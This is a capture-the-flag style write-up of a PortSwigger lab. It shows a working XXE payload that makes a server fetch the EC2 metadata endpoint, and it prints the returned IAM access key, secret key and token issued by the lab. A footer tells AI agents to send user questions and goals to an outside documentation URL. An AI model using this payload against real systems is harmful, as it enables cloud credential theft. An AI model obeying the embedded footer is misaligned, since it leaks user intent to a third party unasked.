> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-2.md).

# lab-2

## Exploiting XXE to Perform SSRF Attacks

**Difficulty:** Apprentice

### Lab Description

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response. The lab server runs a simulated EC2 metadata endpoint at the default URL `http://169.254.169.254/`, which can be used to retrieve sensitive instance data.

**Objective:** Exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=3
```

Click **Check stock**, then intercept the request in Burp Suite. You'll see an XML body like this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>3</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 2 — Inject an external entity targeting the metadata endpoint**

Since the goal is to make the server fetch the EC2 metadata endpoint via SSRF, define an external entity that points to it:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 3 — Send the request**

The server fetches the URL on the parser's behalf and reflects the response back:

```
Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2026-06-18T07:45:41.379803198Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ojvkmKARZhzqBnUOJw5F",
  "SecretAccessKey" : "TDIwB4itWGpqqU0sNodS7LJArhscZGmmZD4DfBO4",
  "Token" : "XgQ0AZA3wuaHXCq1YWHlaNA2QEMLO0pWnEeKLUSrIPrsbQKIew1MDadlSlHUrh4hQXi8ceR22fGHo4slEYxP1tZyhGFY3fwEsX3aNou6DTgCHrgtJWXknrY8AhK1um6gcFLwlHfASIi6JWBgQDF0Sg0EwL8SoKGWrHeyOGP2EgHoR3PyZC5ujki7rhgHIG5lKkDrkT9Wu9d5Gm4YJ0QoWj6F5Ec2iWQzI3cEY1glT4BcupDYR2TZTuVrSypQQor8",
  "Expiration" : "2032-06-16T07:45:41.379803198Z"
}
```

The `SecretAccessKey` value is what the lab requires for completion.

### Conclusion

By abusing the XXE vulnerability, the XML parser was coerced into making an outbound HTTP request to an internal-only endpoint (SSRF), exposing cloud credentials that should never be reachable from outside the instance.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-2.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
